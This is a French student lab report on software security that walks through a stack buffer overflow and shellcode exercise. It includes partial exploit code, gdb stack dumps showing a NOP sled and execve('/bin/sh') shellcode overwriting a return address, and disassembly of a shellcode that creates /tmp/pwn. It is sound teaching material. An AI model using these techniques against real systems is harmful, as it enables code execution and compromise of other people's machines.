cours/content/secu_logicielle/td5-stackoverflow_shellcode/index.md

7 KiB

title date tags author categories
Sécurité logicielle : TD5 stack overflow et shellcode 2023-02-17
Assembleur
x86
Yorick Barbanneau
Gwendal Aupee
Sécurité logicielle
TD

Partie 1

Avec l'aide de pframe, nous pouvons voir que lorsque notre boucle itère pour la onzième fois, l'affectation t[11] écrase i et le remet à 0. A ce moment notre boucle reviens à départ; une boucle infinie se produit alors. C'est la conséquence du buffer overflow causée par une mauvaise maitrise des boucles et variables associées.

Partie 2

question 1 et 2

Effectivement le code vu en cours est repris dans cet exemple. Nous sommes cependant en présence de code C avec du code assembleur directement écrit en hexadécimal.

L'exploit est prévu pour fonctinner en assembleur x86_32 et x86_64 avec la présence d'une macro afin de positionner les instructions adaptée dans la variable exploit:


unsigned char exploit[1024] = {

#ifdef __x86_64__
	/* 64 bit version */
    // [...]
	0x0f, 0x05,			// system call!
#else
	/* 32 bit version */
    // [...]
	0xcd, 0x80,			// system call!
#endif
};

question 4

Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons clairement les éléments de notre attaque : les éléments de la pile contenant les adresses vers notre shellcode, les padding avec des nop et le shellcode.

Avant la saisir par l'utilisateur dans anodin voici la pile:

0x7fffffffe520            0x00007fffffffe610
0x7fffffffe518            0x00007ffff7dff18a
0x7fffffffe510            0x0000000000000001
0x7fffffffe508    ...     0x00007ffff7ffdad0
0x7fffffffe500    arg3    0x0000000000000000
0x7fffffffe4f8    arg2    0x00000001f7fe6e10
0x7fffffffe4f0    arg1    0x00007fffffffe628
0x7fffffffe4e8    ret@    0x00005555555551e8
0x7fffffffe4e0      bp    0x00007fffffffe510
0x7fffffffe4d8            0x0000000000000000
0x7fffffffe4d0            0x0000000000000000
0x7fffffffe4c8            0x0000000000000000
0x7fffffffe4c0            0x0000000000000000
0x7fffffffe4b8            0x0000000000000000
0x7fffffffe4b0            0x0000000000000040
0x7fffffffe4a8            0x000000000000000c
0x7fffffffe4a0            0x0000000000000000
0x7fffffffe498            0x0000000000000040
0x7fffffffe490         sp 0x0000000000000004
0x7fffffffe488            0x00005555555551af
0x7fffffffe480            0x00007fffffffe4e0

Après la saisie l'utilisateur, et donc l'injection du code par exploit la pile a un tout autre aspect. On voit bien l'action de la "mitraillette" sur le bas de la pile avec l'adresse de retour.

0x7fffffffe520            0x0000000000000000
0x7fffffffe518            0x0000000000000000
0x7fffffffe510            0x0000000000000000
0x7fffffffe508            0x00007fffffffe498
0x7fffffffe500            0x00007fffffffe498
0x7fffffffe4f8            0x00007fffffffe498
0x7fffffffe4f0            0x00007fffffffe498
0x7fffffffe4e8    ret@    0x00007fffffffe498
0x7fffffffe4e0      bp    0x00007fffffffe498
0x7fffffffe4d8            0x00007fffffffe498
0x7fffffffe4d0            0x00007fffffffe498 ; mitraillette enclenchée!
0x7fffffffe4c8            0x0000000000000000
0x7fffffffe4c0            0x0000000000000000
0x7fffffffe4b8            0x050fe6894857e289
0x7fffffffe4b0            0x48006a0000003bc0
0x7fffffffe4a8            0xc7485f0068732f6e
0x7fffffffe4a0            0x69622f00000008e8 ; début de notre shellcode
0x7fffffffe498            0x9090909090909090 ; nop
0x7fffffffe490         sp 0x9090909090909090 ; nop
0x7fffffffe488            0x00005555555551c0
0x7fffffffe480            0x00007fffffffe638
; [...]

On voit aussi apparaitre notre Instruction Pointer dans la pile lorsque notre shellcode est exécuté. Les différents paramètres pour l'appel système se mettent alors en places.

0x7fffffffe4f0         sp 0x00007fffffffe498
0x7fffffffe4e8            0x00007fffffffe498
0x7fffffffe4e0            0x00007fffffffe498
0x7fffffffe4d8            0x00000000ffffe498
0x7fffffffe4d0            0x00007fffffffe498
0x7fffffffe4c8            0x0000000000000000
0x7fffffffe4c0            0x0000000000000000
0x7fffffffe4b8            0x050fe6894857e289
0x7fffffffe4b0            0x48006a0000003bc0
0x7fffffffe4a8            0xc7485f0068732f6e
0x7fffffffe4a0            0x69622f00000008e8
0x7fffffffe498 ip   bp    0x9090909090909090
0x7fffffffe490            0x9090909090909090
0x7fffffffe488            0x00005555555551cc
0x7fffffffe480            0x0000000000000003

Voici les éléments de notre exploit qui se retrouvent dans la pile, les diférentes parties sont délimitées par des crochets:

0x7fffffffe4b8            0x[050f] e6894857e289     ; 4
0x7fffffffe4b0            0x48006a000000 [3b] c0    ; 3
0x7fffffffe4a8            0xc7485f0068732f6e
0x7fffffffe4a0            0x69622f [00000008e8]     ; 2
0x7fffffffe498 ip   bp    0x9090909090909090        ; 1
  1. piste d'atterrissage de l'exploit preparée avec des nop
  2. placement en mémoire de notre chaine /bin/sh
  3. le numéro d'appel système pour execve (59 ou 0x3b)
  4. lancement de notre appel système

Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la mise en place des arguments de notre appel système dans les différents registres, notamment 0x3b dans rax.

question 3

Lors de l'exécution du strace sur notre exécutable shellcode nous voyons bien apparaitre les deux appels systèmes creat et exit:

execve("./shellcode", ["./shellcode"], 0x7ffd7e08f160 /* 44 vars */) = 0
creat("/tmp/pwn", 0666)                 = 3
exit(42)                                = ?
+++ exited with 42 +++

L'exécution d'objdumb -d -x afin d'afficher les adresses des constantes nous permet de vois que c'est bien l'adresse de filename qui est placée dans %rdi avant d'appeler creat (appel système 0x55).

[...]
SYMBOL TABLE:
0000000000402000 g       .data	0000000000000000 filename
0000000000401000 g       .text	0000000000000000 _start
0000000000402009 g       .data	0000000000000000 __bss_start
0000000000402009 g       .data	0000000000000000 _edata
0000000000402010 g       .data	0000000000000000 _end

Déassemblage de la section .text :

0000000000401000 <_start>:
  401000:	48 c7 c6 b6 01 00 00 	mov    $0x1b6,%rsi
  401007:	48 c7 c7 00 20 40 00 	mov    $0x402000,%rdi
  40100e:	48 c7 c0 55 00 00 00 	mov    $0x55,%rax
  401015:	0f 05                	syscall
  401017:	48 c7 c7 2a 00 00 00 	mov    $0x2a,%rdi
  40101e:	48 c7 c0 3c 00 00 00 	mov    $0x3c,%rax
  401025:	0f 05                	syscall

Une fois shellcode.S modifié et compilé, nous avons extrait les opcodes avec une cible de notre Makefile. Cette cible créée un fichier opcode.txt prêt à importer dans notre code C.

Avec cette méthode, nous n'avons pas à nous soucier de l'abréviation des 0 par objdump. Et en plus on évite les erreurs de saisie.

Après l'incorporation de notre shellcode dans le fichier exploit-test.c, sa compilation et son execution, le fichier /tmp/pwn est bien créé.